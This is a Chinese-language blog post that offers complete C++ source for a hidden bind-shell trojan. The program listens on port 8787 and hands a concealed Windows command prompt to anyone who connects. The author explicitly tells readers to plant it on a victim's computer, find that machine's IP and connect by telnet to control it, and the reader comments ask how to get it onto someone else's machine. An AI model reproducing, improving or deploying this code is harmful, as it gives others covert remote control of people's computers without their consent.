一隻精簡的C++木馬

by - 晚上11:49


        這邊跟各位介紹一個很簡單的木馬,能用來操控遠端電腦的命令提示字元,雖然說簡單,不過有用到一些較進階的函式庫和進階的記憶體技巧。這隻馬用VC編譯後就會產生一個執行黨,執行時無任何視窗顯示,接下來,參考這篇文章:【C++】如何發行VC程式? 
並根據此文打包好木馬後,將馬放到要害的人的電腦上,並執行,接著找到他的IP。我提供一種辦法來尋找IP,在被害人的電腦上開啟CMD,並輸入ipconfig:
如上圖,那個「IPv4位址」就是IP(此範例是192.168.43.138),就緒後,在你的電腦打「telnet 對方IP Port」Port是你在程式碼中宣告的端口號(我用8787),如果沒有telnet的話(出現「'telnet' 不是內部或外部命令、可執行的程式或批次檔。」),請到控制台->程式集->程式和功能:
點「開啟或關閉Windows功能」並把「Telnet用戶端勾選起來」:

按下確定即可。

        連上之後,你就可以輸入CMD命令了,幾乎可以控制對方整台電腦,不會CMD的讀者,請參考這篇文章:最詳盡的CMD命令大全
 好啦,程式碼就貼出來:

// horse.cpp : 定義主控台應用程式的進入點。
//

#include "stdafx.h"
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <windows.h>
#define MasterPort 8787 //宣告端口
int main(int argc, char *argv[])
{
 WSADATA WSADa;
 sockaddr_in SockAddrIn;
 SOCKET CSocket, SSocket;
 int iAddrSize;
 PROCESS_INFORMATION ProcessInfo;
 STARTUPINFO StartupInfo;
 LPWSTR szCMDPath = new TCHAR[256];
 ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
 ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
 ZeroMemory(&WSADa, sizeof(WSADATA));
 
 GetEnvironmentVariable(L"COMSPEC", szCMDPath, 256);//取得CMD位址
 WSAStartup(0x0202, &WSADa);
 SockAddrIn.sin_family = AF_INET;
 SockAddrIn.sin_addr.s_addr = INADDR_ANY;
 SockAddrIn.sin_port = htons(MasterPort);
 CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 bind(CSocket, (sockaddr *)&SockAddrIn, sizeof(SockAddrIn));
 listen(CSocket, 5);
 iAddrSize = sizeof(SockAddrIn);
 while ((SSocket = accept(CSocket, (sockaddr *)&SockAddrIn, &iAddrSize))) {
  StartupInfo.cb = sizeof(STARTUPINFO);
  StartupInfo.wShowWindow = SW_HIDE;
  StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  StartupInfo.hStdInput = (HANDLE)SSocket;
  StartupInfo.hStdOutput = (HANDLE)SSocket;
  StartupInfo.hStdError = (HANDLE)SSocket;

  CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);//執行cmd
  WaitForSingleObject(ProcessInfo.hProcess, INFINITE);//等待執行敘結束
  CloseHandle(ProcessInfo.hProcess);
  CloseHandle(ProcessInfo.hThread);
  closesocket(SSocket);
 }
 closesocket(CSocket);
 WSACleanup();
 return 0;
}
如果有任何問題可以到粉專發問喔!

你可能會喜歡

4 意見

  1. 請問一下這跟資料如何直入到別人電腦中呢?

    回覆刪除
  2. 请问port是输入对方的吗?

    回覆刪除
  3. 我的电脑是英文版,指令一样输入华文吗?

    回覆刪除
  4. 請問你stdafx.h的檔案事甚麼內容

    回覆刪除